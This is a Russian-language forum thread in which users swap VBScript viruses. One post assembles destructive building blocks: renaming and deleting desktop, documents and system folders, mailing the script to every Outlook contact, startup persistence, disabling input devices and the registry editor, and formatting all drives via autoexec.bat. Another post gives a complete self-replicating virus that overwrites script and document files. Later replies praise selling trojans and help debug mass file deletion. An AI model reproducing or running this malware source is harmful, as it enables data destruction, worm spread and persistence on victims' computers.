VBScript Script File
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
VBScript Script File - 2006-11-07 12:30:19.676666
|
|
|
Сикатри
Сообщений: 1
Оценки: 0
Присоединился: 2006-11-07 12:26:04.536666
|
Народ…ктонить пишит вирусы на VBScript Script File…
Давайте выкладывать тут вирусы кто какие написал……
Я щас пишу троян и червя…..позже могу выложить….
|
|
|
|
|
RE: VBScript Script File - 2006-11-08 23:07:00.286666
|
|
|
je0n
Сообщений: 126
Оценки: 0
Присоединился: 2004-07-05 23:40:07
|
:)
while 1
msgbox "you are hacked"
wend
:)
Если честно, я не предствляю как можно написать троян (ну допустим кейлогер) на VBS. По крайней мере без использования ActiveX. Поделиська своими талантами
Да и вообще ты не в тот форум написал. VBS не компилируемый:@
|
|
|
|
|
RE: VBScript Script File - 2007-04-09 02:05:42.710000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
quote:
ORIGINAL: je0n
Да и вообще ты не в тот форум написал. VBS не компилируемый:@
Бред Имхо. Еще как компилируемый и кодируемый и AV не обнаруживаемый
|
|
|
|
|
RE: VBScript Script File - 2007-04-10 22:20:31.430000
|
|
|
stasww
Сообщений: 71
Оценки: 0
Присоединился: 2007-03-02 20:15:34.900000
|
CODE
Set f = CreateObject("scripting.filesystemobject")
Set s = CreateObject("Wscript.Shell")
t=0: on error resume next
Set os = CreateObject("Shell.Application")
set ie = WScript.CreateObject("InternetExplorer.Application")
Set oe = WScript.CreateObject("Outlook.Application")
Так начинку сделали….
Теперь я пропишу ВАМ основные действия вируса:…..
0)' Сообщение с запросом пароля
prl=inputbox("text1", "text2")
if prl="Пароль" then f.deletefile WScript.ScriptFullName, true: Wscript.Quit
1) Сделаем так чтобы после открытия нашего проекта у юзвера выскочило сообщение:
CODE' Вывести сообщение
s.popup "text1", , "text2", 0+16
text1 - само сообщение
text2 - заголовок сообщения
0+x - тип сообщения
(0+0) - обычный тип
(0+16) - ошибка
(0+64) - информация
(0+48) - восклицание
(0+32) - вопрос
2) Нам нужно что-то переименовать….
CODE' Переименование всех файлов, находящихся на Робочем столе на "text"
For Each Folder In s.SpecialFolders
if right(folder,12)="Рабочий стол" then
set tf=f.getfolder(folder)
set af=tf.files
For Each fl In af
set file=f.getfile(fl):t=t+1
file.name="text" & t
next
end if
next
text - новый текст!
————————————-
' Переименование папки Мои документы на "Новое_Название"
For Each Folder In s.SpecialFolders
if right(folder,13)="Мои документы" then
set tf=f.getfolder(folder): tf.name="Новое_Название"
End if
next
————————————
' Переименование всех файлов, находящихся в Моих документах на "Новое_название"
For Each Folder In s.SpecialFolders
if right(folder,13)="Мои документы" then
set tf=f.getfolder(folder)
set af=tf.files
For Each fl In af
set file=f.getfile(fl):t=t+1
file.name="НАЗВАНИЕ" & t
next
end if
next
————————————
' Переименование всех файлов, находящихся в Главное меню\Программы на "новое_название"
For Each Folder In s.SpecialFolders
if right(folder,12)="Главное меню" then
set tf=f.getfolder(folder)
set af=tf.subfolders
For Each fl In af
set file=f.getfolder(fl):t=t+1
file.name="новое_название" & t
next
end if
next
v 3) Нам нужно что-то переместить:
CODE' Перемещение Рабочего стола в "FOLDER"
For Each Folder In s.SpecialFolders
if right(folder,12)="Рабочий стол" then
f.copyfolder folder, "FOLDER"
f.deletefolder folder, true
next
(folder - папка)
————————————–
' Перемещение папки Мои документы в "папка"
For Each Folder In s.SpecialFolders
if right(folder,13)="Мои документы" then
f.copyfolder folder, "папка"
f.deletefolder folder, true
next
4) ……Интернет
CODE
' Сделать домашней страницу "http:\\hackep.ru"
s.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http:\\hackep.ru"
—————————————-
' Перейти на сайт "http:\\hackep.ru"
ie.Visible = True
ie.Navigate "http:\\hackep.ru"
—————————————-
' Разослать вирус Всем контактам неприятеля
For Index = 1 To oe.GetNameSpace("MAPI").AddressLists(1).count
Set OutMail = oe.CreateItem(0)
OutMail.to = oe.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "в теме письма"
OutMail.Body = "в теле письма"
OutMail.Attachments.Add WScript.ScriptFullName
OutMail.Send
Next
5) Удаляем нужные объекты….
CODE' Удаление специальных папок
For Each Folder In s.SpecialFolders
————————————————-
' Удаление Рабочего стола
f.deletefolder s.SpecialFolders ("Desktop"),true
————————————————-
' Удаление Aplication Data
if right(folder,15)="Aplication Data" then f.deletefolder folder,true
————————————————-
' Удаление PrintHood
if right(folder,9)="PrintHood" then f.deletefolder folder,true
————————————————-
' Удаление ShellNew
if right(folder,8)="ShellNew" then f.deletefolder folder,true
————————————————-
' Удаление шрифтов
if right(folder,5)="FONTS" then f.deletefolder folder,true
————————————————-
' Удаление NetHood
if right(folder,7)="NetHood" then f.deletefolder folder,true
————————————————-
' Удаление Главное меню
if right(folder,12)="Главное меню" then f.deletefolder folder,true
————————————————-
' Удаление SendTo
if right(folder,6)="SendTo" then f.deletefolder folder,true
————————————————-
' Удаление Recent
if right(folder,6)="Recent" then f.deletefolder folder,true
————————————————-
' Удаление Автозагрузка
if right(folder,12)="Автозагрузка" then f.deletefolder folder,true
————————————————-
' Удаление Избранное
if right(folder,9)="Избранное" then f.deletefolder folder,true
————————————————-
' Удаление Мои документы
if right(folder,13)="Мои документы" then f.deletefolder folder,true
————————————————-
' Удаление Программы
if right(folder,9)="Программы" then f.deletefolder folder,true
Next
6) Очень вредоносное……. (делать не советую)
CODE' Поменять функции клавиш мышки местами
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SwapNT", "rundll32 user32, SwapMouseButton"
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Swap98", "rundll32.exe user.exe, swapmousebutton"
s.Run "rundll32 user32, SwapMouseButton"
————————————————-
' Вырубить клавиатуру(Только для Windows 95,98,Me)
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Dead", "rundll32 keyboard,disable"
s.Run "rundll32.exe keyboard.exe, disable"
————————————————-
' Отключить мышь(Только для Windows 95,98,Me)
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Mad", "rundll32 mouse,disable"
s.Run "rundll32.exe mouse.exe, disable"
————————————————-
' Минимизировать все окна
os.MinimizeAll
————————————————-
' Запускаться при каждой перезагрузке
Set File2 = f.GetFile(WScript.ScriptFullName)
File2.Copy ("c:\windows\System\Gigabyte.vbs")
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Gigabyte", "C:\WINDOWS\SYSTEM\Gigabyte.vbs"
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Gigabyte", "C:\WINDOWS\SYSTEM\Gigabyte.vbs"
————————————————-
' Блокировать RegEdit(чтоб у него не заводился редактор реестра).Для того чтобы разблокировать происвойте DisableRegistryTools значение - 0
s.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools", 1, "REG_DWORD"
————————————————-
' Форматировать Все диски (Только для Windows 95,98,Me)
If f.FileExists("d:\autoexec.bat") Then Str ="d:\autoexec.bat"
If f.FileExists("d:\Windows.000\autoexec.bat") Then Str ="d:\Windows.000\autoexec.bat"
If f.FileExists("d:\Windows\autoexec.bat") Then Str ="d:\Windows\autoexec.bat"
If f.FileExists("c:\autoexec.bat") Then Str = "c:\autoexec.bat"
If f.FileExists("c:\Windows.000\autoexec.bat") Then Str = "c:\Windows.000\autoexec.bat"
If f.FileExists("c:\Windows\autoexec.bat") Then Str = "c:\Windows\autoexec.bat"
Set ab = f.GetFile(Str)
ab.Attributes = 0
Set autoexec = f.CreateTextFile(Str)
autoexec.WriteLine "@cls"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.WriteLine "@format d: /q /autotest"
autoexec.WriteLine "@format e: /q /autotest"
autoexec.WriteLine "@format f: /q /autotest"
autoexec.WriteLine "@format g: /q /autotest"
autoexec.WriteLine "@format h: /q /autotest"
autoexec.WriteLine "@format i: /q /autotest"
autoexec.Close
s.Run Str, 5
————————————————-
' Перезагрузить компьютер(Только для Windows 95,98,Me)
s.Run "Rundll32.exe User.exe,ExitWindows"
————————————————-
' Самоликвидироваться
f.deletefile WScript.ScriptFullName, true
|
|
|
|
|
RE: VBScript Script File - 2007-04-11 01:46:08.623333
|
|
|
voody
Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
|
Вот вам код одного вируса. Писал его ровно 3 года назад (тогда только начинал писать вирусы на VBS, это - одна из моих первых работ). Думаю, не трудно догадаться, что он делает:
—————————————————————————
Dim a, s, WinFolder, WinFiles, WinFile, EachWinFile, FileExtension, ScriptText, ScriptCode, CodeChanges, ElseExtension, FileNumber, VBSFile, VBSCopy, WinFLDRS, WinFLDR, EachWinFolder, SelectFolder, SPCL, SpecFol
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
Set s = CreateObject("WScript.Shell")
Sub GeneralFileActions(SelectFolder)
On Error Resume Next
FileNumber = 0
Set ScriptText = a.OpenTextFile(WScript.ScriptFullName, 1)
ScriptCode = ScriptText.ReadAll
ScriptText.Close
Set WinFolder = SelectFolder
Set WinFiles = WinFolder.Files
For Each WinFile In WinFiles
Set EachWinFile = a.GetFile(WinFile):FileNumber = FileNumber + 1
FileExtension = a.GetExtensionName(EachWinFile)
FileExtension = LCase(FileExtension)
If FileExtension = "vbs" or FileExtension = "vbe" Then
Set CodeChanges = a.OpenTextFile(EachWinFile, 2)
CodeChanges.Write ScriptCode
CodeChanges.Close
ElseIf FileExtension = "txt" or FileExtension = "doc" Then
Set CodeChanges = a.OpenTextFile(EachWinFile, 2)
CodeChanges.Write "This is a Windows Killer!"
CodeChanges.Close
Else
ElseExtension = a.GetExtensionName(EachWinFile)
EachWinFile.Name = "WindowsKiller" & FileNumber & "." & ElseExtension
End If
Next
End Sub
Sub ElseActions()
On Error Resume Next
Set VBSCopy = a.GetFile(WScript.ScriptFullName)
VBSCopy.Copy(a.GetSpecialFolder(1) & "\MSKernel386.vbs")
VBSCopy.Copy(s.SpecialFolders(1) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(2) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(3) & "\SystemUpdate.vbs")
VBSCopy.Copy(a.GetSpecialFolder(4) & "\MSKernel386.vbs")
VBSCopy.Copy(s.SpecialFolders(5) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(6) & "\SystemUpdate.vbs")
VBSCopy.Copy(a.GetSpecialFolder(7) & "\MSKernel386.vbs")
VBSCopy.Copy(s.SpecialFolders(8) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(9) & "\SystemUpdate.vbs")
VBSCopy.Copy(a.GetSpecialFolder(10) & "\MSKernel386.vbs")
VBSCopy.Copy(s.SpecialFolders(11) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(12) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(13) & "\SystemUpdate.vbs")
VBSCopy.Copy(s.SpecialFolders(14) & "\SystemUpdate.vbs")
s.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSKernel386", a.GetSpecialFolder(1) & "\MSKernel386.vbs", "REG_SZ"
End Sub
Sub GeneralFolderActions()
On Error Resume Next
Set WinFLDRS = WinFolder.SubFolders
For Each WinFLDR In WinFLDRS
Set EachWinFolder = a.GetFolder(WinFLDR)
a.DeleteFolder(EachWinFolder)
Next
End Sub
If a.FileExists(a.GetSpecialFolder(1) & "\MSKernel386.vbs") Then
Call GeneralFileActions(a.GetSpecialFolder(0))
Call GeneralFolderActions()
For Each SPCL in s.SpecialFolders
Set SpecFol = a.GetFolder(SPCL)
Call GeneralFileActions(SpecFol)
Call GeneralFolderActions()
Next
Else
Call ElseActions()
End If
|
|
|
|
|
RE: VBScript Script File - 2007-04-11 01:53:55.096666
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
2 voody
Гы, вот ты злодей:)
|
|
|
|
|
RE: VBScript Script File - 2007-04-11 15:50:58.106666
|
|
|
voody
Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
|
quote:
ORIGINAL: Pashkela
2 voody
Гы, вот ты злодей:)
Да, ладно, это было 3 года назад, к тому же, я больше не пишу вирусы, тем более, на скрипт-языках. Теперь я пишу трояны. Это во-первых (для меня) интереснее, во-вторых, полезнее (можно собрать интересную информацию), востребованнее (хорошие трояны хорошо продаются, что не скажешь об обычных вирусах). И, последнее, это куда гуманнее, т.к. троян не причиняет вреда компу (за редкими исключениями, но это уже не совсем троян тогда будет), под угрозой остается только конфиденциальность информации.
|
|
|
|
|
RE: VBScript Script File - 2007-04-11 18:26:25.676666
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Полностью согласен, просто разрушать - мегатупо. Лучше песдануть чонить
|
|
|
|
|
RE: VBScript Script File - 2007-07-22 11:13:52.430000
|
|
|
Ponni
Сообщений: 3
Оценки: 0
Присоединился: 2007-07-21 15:42:43.360000
|
всем привет.такой вопрос-
fso.deletefile "c:\*mp3" по идее эта строка должна удалять все mp3 файлы на компе.но не находит файлы.подскажите как правильнее будет?много мануалов качал,но везде говорится что - fso.deletefile "c:\*mp3" правильно.
|
|
|
|
|
RE: VBScript Script File - 2007-07-22 15:44:12.170000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
quote:
ORIGINAL: Ponni
всем привет.такой вопрос-
fso.deletefile "c:\*mp3" по идее эта строка должна удалять все mp3 файлы на компе.но не находит файлы.подскажите как правильнее будет?много мануалов качал,но везде говорится что - fso.deletefile "c:\*mp3" правильно.
А после звезды точку поставить не судьба? И потом перед этим надо еще Set Fso сделать
|
|
|
|
|
RE: VBScript Script File - 2007-07-23 05:27:19.686666
|
|
|
Ponni
Сообщений: 3
Оценки: 0
Присоединился: 2007-07-21 15:42:43.360000
|
set fso = createobject("scripting.filesystemobject")
on error resume next
fso.deletefile "c:\*.mp3"
вот полный пример.я точку по невниманию не поставил.этот пример не работает.почему?везде говорится что правильный путь.
|
|
|
|
|
RE: VBScript Script File - 2007-07-30 00:00:15.160000
|
|
|
IO.sys
Сообщений: 33
Оценки: 0
Присоединился: 2006-12-08 08:15:32.390000
|
a che tak uje proboval ?
Kill ("c:\*.mp3")
|
|
|
|
|
RE: VBScript Script File - 2007-08-06 09:00:57.883333
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
quote:
ORIGINAL: Ponni
set fso = createobject("scripting.filesystemobject")
on error resume next
fso.deletefile "c:\*.mp3"
вот полный пример.я точку по невниманию не поставил.этот пример не работает.почему?везде говорится что правильный путь.
"on error resume next" - когда ищешь ошибку в проге, эту строчку лучше комментировать, будет хотя бы выскакивать ошибка, по которой можно догодаться о причине. А уж когда все работает, то вот тогда и ставь ее взад
Как предположение - на диске C:\ в корне просто нет .mp3
А вот в C:\Downloads\Music может и есть
А вот если ты хочешь не зная точного местоположения .mp3 просто в принципе удалить их с жесткого диска C:\ где бы они не находились, то тут код будет чуточку сложнее, а не так вот, в лоб.
|
|
|
|
|
|
